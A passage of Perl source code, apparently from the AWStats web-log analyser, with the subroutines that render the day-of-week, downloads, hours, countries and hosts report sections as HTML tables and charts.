Format_Bytes( sprintf( "%.2f", $AverageBytes ) ) : "0.00" ); my @valaverage = ( $average_p, $average_h, $average_k ); my @valdata = (); my $xx = 0; for (@DOWIndex) { $valdata[ $xx++ ] = $avg_dayofweek_p[$_] || 0; $valdata[ $xx++ ] = $avg_dayofweek_h[$_] || 0; $valdata[ $xx++ ] = $avg_dayofweek_k[$_] || 0; # Round to be ready to show array $avg_dayofweek_p[$_] = sprintf( "%.2f", $avg_dayofweek_p[$_] ); $avg_dayofweek_h[$_] = sprintf( "%.2f", $avg_dayofweek_h[$_] ); $avg_dayofweek_k[$_] = sprintf( "%.2f", $avg_dayofweek_k[$_] ); # Remove decimal part that are .0 if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) { $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] ); } if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) { $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] ); } } my $function = "ShowGraph_$pluginname"; &$function( "$title", "daysofweek", $ShowDaysOfWeekStats, \@blocklabel, \@vallabel, \@valcolor, \@valmax, \@valtotal, \@valaverage, \@valdata ); $graphdone=1; } if (! $graphdone) { print "<table>\n"; print "<tr valign=\"bottom\">\n"; for (@DOWIndex) { my $bredde_p = 0; my $bredde_h = 0; my $bredde_k = 0; if ( $max_h > 0 ) { $bredde_p = int( ( $avg_dayofweek_p[$_] ne '?' ? $avg_dayofweek_p[$_] : 0 ) / $max_h * $BarHeight ) + 1; } if ( $max_h > 0 ) { $bredde_h = int( ( $avg_dayofweek_h[$_] ne '?' ? $avg_dayofweek_h[$_] : 0 ) / $max_h * $BarHeight ) + 1; } if ( $max_k > 0 ) { $bredde_k = int( ( $avg_dayofweek_k[$_] ne '?' ? $avg_dayofweek_k[$_] : 0 ) / $max_k * $BarHeight ) + 1; } $avg_dayofweek_p[$_] = sprintf( "%.2f", ( $avg_dayofweek_p[$_] ne '?' ? $avg_dayofweek_p[$_] : 0 ) ); $avg_dayofweek_h[$_] = sprintf( "%.2f", ( $avg_dayofweek_h[$_] ne '?' ? $avg_dayofweek_h[$_] : 0 ) ); $avg_dayofweek_k[$_] = sprintf( "%.2f", ( $avg_dayofweek_k[$_] ne '?' ? $avg_dayofweek_k[$_] : 0 ) ); # Remove decimal part that are .0 if ( $avg_dayofweek_p[$_] == int( $avg_dayofweek_p[$_] ) ) { $avg_dayofweek_p[$_] = int( $avg_dayofweek_p[$_] ); } if ( $avg_dayofweek_h[$_] == int( $avg_dayofweek_h[$_] ) ) { $avg_dayofweek_h[$_] = int( $avg_dayofweek_h[$_] ); } print "<td valign=\"bottom\">"; if ( $ShowDaysOfWeekStats =~ /P/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" . AltTitle("$Message[56]: $avg_dayofweek_p[$_]") . " />"; } if ( $ShowDaysOfWeekStats =~ /H/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" . AltTitle("$Message[57]: $avg_dayofweek_h[$_]") . " />"; } if ( $ShowDaysOfWeekStats =~ /B/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" . AltTitle( "$Message[75]: " . Format_Bytes( $avg_dayofweek_k[$_] ) ) . " />"; } print "</td>\n"; } print "</tr>\n"; print "<tr" . Tooltip(17) . ">\n"; for (@DOWIndex) { print "<td" . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" ) . ">" . ( !$StaticLinks && $_ == ( $nowwday - 1 ) && $MonthRequired == $nowmonth && $YearRequired == $nowyear ? '<span class="currentday">' : '' ); print $Message[ $_ + 84 ]; print( !$StaticLinks && $_ == ( $nowwday - 1 ) && $MonthRequired == $nowmonth && $YearRequired == $nowyear ? '</span>' : '' ); print "</td>"; } print "</tr>\n</table>\n"; } print "<br />\n"; # Show data array for days of week if ($AddDataArrayShowDaysOfWeekStats) { print "<table>\n"; print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[4]</td>"; if ( $ShowDaysOfWeekStats =~ /P/i ) { print "<td width=\"80\" bgcolor=\"#$color_p\"" . Tooltip(3) . ">$Message[56]</td>"; } if ( $ShowDaysOfWeekStats =~ /H/i ) { print "<td width=\"80\" bgcolor=\"#$color_h\"" . Tooltip(4) . ">$Message[57]</td>"; } if ( $ShowDaysOfWeekStats =~ /B/i ) { print "<td width=\"80\" bgcolor=\"#$color_k\"" . Tooltip(5) . ">$Message[75]</td></tr>"; } for (@DOWIndex) { print "<tr" . ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" ) . ">"; print "<td>" . ( !$StaticLinks && $_ == ( $nowwday - 1 ) && $MonthRequired == $nowmonth && $YearRequired == $nowyear ? '<span class="currentday">' : '' ); print $Message[ $_ + 84 ]; print( !$StaticLinks && $_ == ( $nowwday - 1 ) && $MonthRequired == $nowmonth && $YearRequired == $nowyear ? '</span>' : '' ); print "</td>"; if ( $ShowDaysOfWeekStats =~ /P/i ) { print "<td>", Format_Number(int($avg_dayofweek_p[$_])), "</td>"; } if ( $ShowDaysOfWeekStats =~ /H/i ) { print "<td>", Format_Number(int($avg_dayofweek_h[$_])), "</td>"; } if ( $ShowDaysOfWeekStats =~ /B/i ) { print "<td>", Format_Bytes(int($avg_dayofweek_k[$_])), "</td>"; } print "</tr>\n"; } print "</table>\n<br />\n"; } print "</center></td>"; print "</tr>\n"; &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the Downloads chart and table # Parameters: - # Input: $NewLinkParams, $NewLinkTarget # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainDownloads{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if (!$LevelForFileTypesDetection > 0){return;} if ($Debug) { debug( "ShowDownloadStats", 2 ); } my $regext = qr/\.(\w{1,6})$/; print "$Center<a name=\"downloads\"> </a><br />\n"; my $Totalh = 0; if ($MaxNbOf{'DownloadsShown'} < 1){$MaxNbOf{'DownloadsShown'} = 10;} # default if undefined my $title = "$Message[178] ($Message[77] $MaxNbOf{'DownloadsShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=downloads") : "$StaticLinks.downloads.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=DOWNLOADS&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 0, 0, 'downloads' ); my $cnt=0; for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ $Totalh += $_downloads{$u}->{'AWSTATS_HITS'}; $cnt++; if ($cnt > 4){last;} } # Graph the top five in a pie chart if (scalar keys %_downloads > 1){ foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); my @valdata = (); my @valcolor = ($color_p); my $cnt = 0; for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ push @valdata, ($_downloads{$u}->{'AWSTATS_HITS'} / $Totalh * 1000 ) / 10; push @blocklabel, Get_Filename($u); $cnt++; if ($cnt > 4) { last; } } my $columns = 2; if ($ShowDownloadsStats =~ /H/i){$columns += length($ShowDownloadsStats)+1;} else{$columns += length($ShowDownloadsStats);} print "<tr><td colspan=\"$columns\">"; my $function = "ShowGraph_$pluginname"; &$function( "$Message[80]", "downloads", 0, \@blocklabel, 0, \@valcolor, 0, 0, 0, \@valdata ); print "</td></tr>"; } } my $total_dls = scalar keys %_downloads; print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]: $total_dls</th>"; if ( $ShowDownloadsStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>" ."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; } if ( $ShowDownloadsStats =~ /B/i ){ print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; } print "</tr>\n"; my $count = 0; for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ print "<tr>"; my $ext = Get_Extension($regext, $u); if ( !$ext) { print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/mime\/unknown.png\"" . AltTitle("") . " /></td>"; } else { my $nameicon = $MimeHashLib{$ext}[0] || "notavailable"; my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " "; print "<td" . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" . AltTitle("") . " /></td>"; } print "<td class=\"aws\">"; &HTMLShowURLInfo($u); print "</td>"; if ( $ShowDownloadsStats =~ /H/i ){ print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>"; print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>"; } if ( $ShowDownloadsStats =~ /B/i ){ print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>"; print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/ ($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>"; } print "</tr>\n"; $count++; if ($count >= $MaxNbOf{'DownloadsShown'}){last;} } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the hours chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainHours{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowHoursStats", 2 ); } print "$Center<a name=\"hours\"> </a><br />\n"; my $title = "$Message[20]"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=TIME&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } if ( $PluginsLoaded{'GetTimeZoneTitle'}{'timezone'} ) { $title .= " (GMT " . ( GetTimeZoneTitle_timezone() >= 0 ? "+" : "" ) . int( GetTimeZoneTitle_timezone() ) . ")"; } &tab_head( "$title", 19, 0, 'hours' ); print "<tr><td align=\"center\">\n"; print "<center>\n"; my $max_h = my $max_k = 1; for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { #if ($_time_p[$ix]>$max_p) { $max_p=$_time_p[$ix]; } if ( $_time_h[$ix] > $max_h ) { $max_h = $_time_h[$ix]; } if ( $_time_k[$ix] > $max_k ) { $max_k = $_time_k[$ix]; } } # Show bars for hour my $graphdone=0; foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = ( 0 .. 23 ); my @vallabel = ( "$Message[56]", "$Message[57]", "$Message[75]" ); my @valcolor = ( "$color_p", "$color_h", "$color_k" ); my @valmax = ( int($max_h), int($max_h), int($max_k) ); my @valtotal = ( $TotalPages, $TotalHits, $TotalBytes ); my @valaverage = ( $AveragePages, $AverageHits, $AverageBytes ); my @valdata = (); my $xx = 0; for ( 0 .. 23 ) { $valdata[ $xx++ ] = $_time_p[$_] || 0; $valdata[ $xx++ ] = $_time_h[$_] || 0; $valdata[ $xx++ ] = $_time_k[$_] || 0; } my $function = "ShowGraph_$pluginname"; &$function( "$title", "hours", $ShowHoursStats, \@blocklabel, \@vallabel, \@valcolor, \@valmax, \@valtotal, \@valaverage, \@valdata ); $graphdone=1; } if (! $graphdone) { print "<table>\n"; print "<tr valign=\"bottom\">\n"; for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { my $bredde_p = 0; my $bredde_h = 0; my $bredde_k = 0; if ( $max_h > 0 ) { $bredde_p = int( $BarHeight * $_time_p[$ix] / $max_h ) + 1; } if ( $max_h > 0 ) { $bredde_h = int( $BarHeight * $_time_h[$ix] / $max_h ) + 1; } if ( $max_k > 0 ) { $bredde_k = int( $BarHeight * $_time_k[$ix] / $max_k ) + 1; } print "<td>"; if ( $ShowHoursStats =~ /P/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" . AltTitle( "$Message[56]: " . int( $_time_p[$ix] ) ) . " />"; } if ( $ShowHoursStats =~ /H/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" . AltTitle( "$Message[57]: " . int( $_time_h[$ix] ) ) . " />"; } if ( $ShowHoursStats =~ /B/i ) { print "<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" . AltTitle( "$Message[75]: " . Format_Bytes( $_time_k[$ix] ) ) . " />"; } print "</td>\n"; } print "</tr>\n"; # Show hour lib print "<tr" . Tooltip(17) . ">"; for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { print "<th width=\"19\">$ix</th>\n" ; # width=19 instead of 18 to avoid a MacOS browser bug. } print "</tr>\n"; # Show clock icon print "<tr" . Tooltip(17) . ">\n"; for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { my $hrs = ( $ix >= 12 ? $ix - 12 : $ix ); my $hre = ( $ix >= 12 ? $ix - 11 : $ix + 1 ); my $apm = ( $ix >= 12 ? "pm" : "am" ); print "<td><img src=\"$DirIcons\/clock\/hr$hre.png\" width=\"12\" alt=\"$hrs:00 - $hre:00 $apm\" /></td>\n"; } print "</tr>\n"; print "</table>\n"; } print "<br />\n"; # Show data array for hours if ($AddDataArrayShowHoursStats) { print "<table width=\"650\"><tr>\n"; print "<td align=\"center\"><center>\n"; print "<table>\n"; print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>"; if ( $ShowHoursStats =~ /P/i ) { print "<td width=\"80\" bgcolor=\"#$color_p\"" . Tooltip(3) . ">$Message[56]</td>"; } if ( $ShowHoursStats =~ /H/i ) { print "<td width=\"80\" bgcolor=\"#$color_h\"" . Tooltip(4) . ">$Message[57]</td>"; } if ( $ShowHoursStats =~ /B/i ) { print "<td width=\"80\" bgcolor=\"#$color_k\"" . Tooltip(5) . ">$Message[75]</td>"; } print "</tr>"; for ( my $ix = 0 ; $ix <= 11 ; $ix++ ) { my $monthix = ( $ix < 10 ? "0$ix" : "$ix" ); print "<tr>"; print "<td>$monthix</td>"; if ( $ShowHoursStats =~ /P/i ) { print "<td>", Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"), "</td>"; } if ( $ShowHoursStats =~ /H/i ) { print "<td>", Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"), "</td>"; } if ( $ShowHoursStats =~ /B/i ) { print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ), "</td>"; } print "</tr>\n"; } print "</table>\n"; print "</center></td>"; print "<td width=\"10\"> </td>"; print "<td align=\"center\"><center>\n"; print "<table>\n"; print "<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[20]</td>"; if ( $ShowHoursStats =~ /P/i ) { print "<td width=\"80\" bgcolor=\"#$color_p\"" . Tooltip(3) . ">$Message[56]</td>"; } if ( $ShowHoursStats =~ /H/i ) { print "<td width=\"80\" bgcolor=\"#$color_h\"" . Tooltip(4) . ">$Message[57]</td>"; } if ( $ShowHoursStats =~ /B/i ) { print "<td width=\"80\" bgcolor=\"#$color_k\"" . Tooltip(5) . ">$Message[75]</td>"; } print "</tr>\n"; for ( my $ix = 12 ; $ix <= 23 ; $ix++ ) { my $monthix = ( $ix < 10 ? "0$ix" : "$ix" ); print "<tr>"; print "<td>$monthix</td>"; if ( $ShowHoursStats =~ /P/i ) { print "<td>", Format_Number($_time_p[$monthix] ? $_time_p[$monthix] : "0"), "</td>"; } if ( $ShowHoursStats =~ /H/i ) { print "<td>", Format_Number($_time_h[$monthix] ? $_time_h[$monthix] : "0"), "</td>"; } if ( $ShowHoursStats =~ /B/i ) { print "<td>", Format_Bytes( int( $_time_k[$monthix] ) ), "</td>"; } print "</tr>\n"; } print "</table>\n"; print "</center></td></tr></table>\n"; print "<br />\n"; } print "</center></td></tr>\n"; &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the countries chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainCountries{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowDomainsStats", 2 ); } print "$Center<a name=\"countries\"> </a><br />\n"; my $title = "$Message[25] ($Message[77] $MaxNbOf{'Domain'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=alldomains") : "$StaticLinks.alldomains.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=DOMAIN&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'countries' ); my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; my $max_h = 1; foreach ( values %_domener_h ) { if ( $_ > $max_h ) { $max_h = $_; } } my $max_k = 1; foreach ( values %_domener_k ) { if ( $_ > $max_k ) { $max_k = $_; } } my $count = 0; &BuildKeyList( $MaxNbOf{'Domain'}, $MinHit{'Domain'}, \%_domener_h, \%_domener_p ); # print the map if (scalar @keylist > 1){ foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); my @valdata = (); my $cnt = 0; foreach my $key (@keylist) { push @valdata, int( $_domener_h{$key} ); push @blocklabel, $DomainsHashIDLib{$key}; $cnt++; if ($cnt > 99) { last; } } print "<tr><td colspan=\"7\" align=\"center\">"; my $function = "ShowGraph_$pluginname"; &$function( "AWStatsCountryMap", "countries_map", 0, \@blocklabel, 0, 0, 0, 0, 0, \@valdata ); print "</td></tr>"; } } print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>"; ## to add unique visitors and number of visits by calculation of average of the relation with total ## pages and total hits, and total visits and total unique ## by Josep Ruano @ CAPSiDE if ( $ShowDomainsStats =~ /U/i ) { print "<th bgcolor=\"#$color_u\" width=\"80\"" . Tooltip(2) . ">$Message[11]</th>"; } if ( $ShowDomainsStats =~ /V/i ) { print "<th bgcolor=\"#$color_v\" width=\"80\"" . Tooltip(1) . ">$Message[10]</th>"; } if ( $ShowDomainsStats =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\"" . Tooltip(3) . ">$Message[56]</th>"; } if ( $ShowDomainsStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\"" . Tooltip(4) . ">$Message[57]</th>"; } if ( $ShowDomainsStats =~ /B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\"" . Tooltip(5) . ">$Message[75]</th>"; } print "<th> </th>"; print "</tr>\n"; foreach my $key (@keylist) { my ( $_domener_u, $_domener_v ); my $bredde_p = 0; my $bredde_h = 0; my $bredde_k = 0; my $bredde_u = 0; my $bredde_v = 0; if ( $max_h > 0 ) { $bredde_p = int( $BarWidth * $_domener_p{$key} / $max_h ) + 1; } # use max_h to enable to compare pages with hits if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; } if ( $max_h > 0 ) { $bredde_h = int( $BarWidth * $_domener_h{$key} / $max_h ) + 1; } if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; } if ( $max_k > 0 ) { $bredde_k = int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) + 1; } if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; } my $newkey = lc($key); if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) { print "<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\"" . AltTitle("$Message[0]") . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>"; } else { print "<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\"" . AltTitle("$newkey") . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>"; } ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE if ( $ShowDomainsStats =~ /U/i ) { $_domener_u = ( $_domener_p{$key} ? $_domener_p{$key} / $TotalPages : 0 ); $_domener_u += ( $_domener_h{$key} / $TotalHits ); $_domener_u = sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 ); print "<td>".Format_Number($_domener_u)." (" . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique ) . ")</td>"; } if ( $ShowDomainsStats =~ /V/i ) { $_domener_v = ( $_domener_p{$key} ? $_domener_p{$key} / $TotalPages : 0 ); $_domener_v += ( $_domener_h{$key} / $TotalHits ); $_domener_v = sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 ); print "<td>".Format_Number($_domener_v)." (" . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits ) . ")</td>"; } if ( $ShowDomainsStats =~ /P/i ) { print "<td>" . ( $_domener_p{$key} ? Format_Number($_domener_p{$key}) : ' ' ) . "</td>"; } if ( $ShowDomainsStats =~ /H/i ) { print "<td>".Format_Number($_domener_h{$key})."</td>"; } if ( $ShowDomainsStats =~ /B/i ) { print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>"; } print "<td class=\"aws\">"; if ( $ShowDomainsStats =~ /P/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\"" . AltTitle("") . " /><br />\n"; } if ( $ShowDomainsStats =~ /H/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\"" . AltTitle("") . " /><br />\n"; } if ( $ShowDomainsStats =~ /B/i ) { print "<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\"" . AltTitle("") . " />"; } print "</td>"; print "</tr>\n"; $total_u += $_domener_u; $total_v += $_domener_v; $total_p += $_domener_p{$key}; $total_h += $_domener_h{$key}; $total_k += $_domener_k{$key} || 0; $count++; } my $rest_u = $TotalUnique - $total_u; my $rest_v = $TotalVisits - $total_v; my $rest_p = $TotalPages - $total_p; my $rest_h = $TotalHits - $total_h; my $rest_k = $TotalBytes - $total_k; if ( $rest_u > 0 || $rest_v > 0 || $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other domains (known or not) print "<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; } if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; } if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; } if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; } if ( $ShowDomainsStats =~ /B/i ) { print "<td>" . Format_Bytes($rest_k) . "</td>"; } print "<td class=\"aws\"> </td>"; print "</tr>\n"; } &tab_end(); } #------------------------------------------------------------------------------ # Function: Prints the hosts chart and table # Parameters: $NewLinkParams, $NewLinkTarget # Input: - # Output: HTML # Return: - #------------------------------------------------------------------------------ sub HTMLMainHosts{ my $NewLinkParams = shift; my $NewLinkTarget = shift; if ($Debug) { debug( "ShowHostsStats", 2 ); } print "$Center<a name=\"visitors\"> </a><br />\n"; my $title = "$Message[81] ($Message[77] $MaxNbOf{'HostsShown'})   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=allhosts") : "$StaticLinks.allhosts.$StaticExt" ) . "\"$NewLinkTarget>$Message[80]</a>   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=lasthosts") : "$StaticLinks.lasthosts.$StaticExt" ) . "\"$NewLinkTarget>$Message[9]</a>   -   <a href=\"" . ( $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks ? XMLEncode("$AWScript${NewLinkParams}output=unknownip") : "$StaticLinks.unknownip.$StaticExt" ) . "\"$NewLinkTarget>$Message[45]</a>"; if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { # extend the title to include the added link $title = "$title   -   <a href=\"" . (XMLEncode( "$AddLinkToExternalCGIWrapper" . "?section=VISITOR&baseName=$DirData/$PROG" . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" . "&siteConfig=$SiteConfig" ) . "\"$NewLinkTarget>$Message[179]</a>"); } &tab_head( "$title", 19, 0, 'visitors' ); &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h, \%_host_p ); # Graph the top five in a pie chart if (scalar @keylist > 1){ foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) { my @blocklabel = (); my @valdata = (); my @valcolor = ($color_p); my $cnt = 0; foreach my $key (@keylist) { push @valdata, int( $_host_h{$key} / $TotalHits * 1000 ) / 10; push @blocklabel, "$key"; $cnt++; if ($cnt > 4) { last; } } print "<tr><td colspan=\"7\">"; my $function = "ShowGraph_$pluginname"; &$function( "Hosts", "hosts", 0, \@blocklabel, 0, \@valcolor, 0, 0, 0, \@valdata ); print "</td></tr>"; } } print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; print "<th>"; if ( $MonthRequired ne 'all' ) { print "$Message[81] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1]<br />".Format_Number($TotalUnique)." $Message[11]</th>"; } else { print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>"; } &HTMLShowHostInfo('__title__'); if ( $ShowHostsStats =~ /P/i ) { print "<th bgcolor=\"#$color_p\" width=\"80\"" . Tooltip(3) . ">$Message[56]</th>"; } if ( $ShowHostsStats =~ /H/i ) { print "<th bgcolor=\"#$color_h\" width=\"80\"" . Tooltip(4) . ">$Message[57]</th>"; } if ( $ShowHostsStats =~ /B/i ) { print "<th bgcolor=\"#$color_k\" width=\"80\"" . Tooltip(5) . ">$Message[75]</th>"; } if ( $ShowHostsStats =~ /L/i ) { print "<th width=\"120\">$Message[9]</th>"; } print "</tr>\n"; my $total_p = my $total_h = my $total_k = 0; my $count = 0; my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; if ( $DynamicDNSLookup == 2 ) { # Use static DNS file &Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 ); } foreach my $key (@keylist) { print "<tr>"; print "<td class=\"aws\">$key"; if ($DynamicDNSLookup) { # Dynamic reverse DNS lookup if ($key =~ /$regipv4/o) { my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$key)),AF_INET)); # This may be slow if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) { if ( $DynamicDNSLookup == 2 ) { # Check static DNS file $lookupresult = $MyDNSTable{$key}; if ($lookupresult) { print " ($lookupresult)"; } else { print ""; } } else { print ""; } } else { print " ($lookupresult)"; } } } print "</td>"; &HTMLShowHostInfo($key); if ( $ShowHostsStats =~ /P/i ) { print '<td>' . ( Format_Number($_host_p{$key}) || " " ) . '</td>'; } if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($_host_h{$key})."</td>"; } if ( $ShowHostsStats =~ /B/i ) { print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>'; } if ( $ShowHostsStats =~ /L/i ) { print '<td nowrap="nowrap">' . ( $_host_l{$key} ? Format_Date( $_host_l{$key}, 1 ) : '-' ) . '</td>'; } print "</tr>\n"; $total_p += $_host_p{$key}; $total_h += $_host_h{$key}; $total_k += $_host_k{$key} || 0; $count++; } my $rest_p = $TotalPages - $total_p; my $rest_h = $TotalHits - $total_h; my $rest_k = $TotalBytes - $total_k; if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other visitors (known or not) print "<tr>"; print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; &HTMLShowHostInfo(''); if ( $ShowHostsStats =~ /P/i ) { print "<td>".Format_Number($rest_p)."</td>"; } if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } if ( $ShowHostsStats =~ /B/i ) { print "<td>" . Format_Bytes($rest_k) . "</td>"; } if 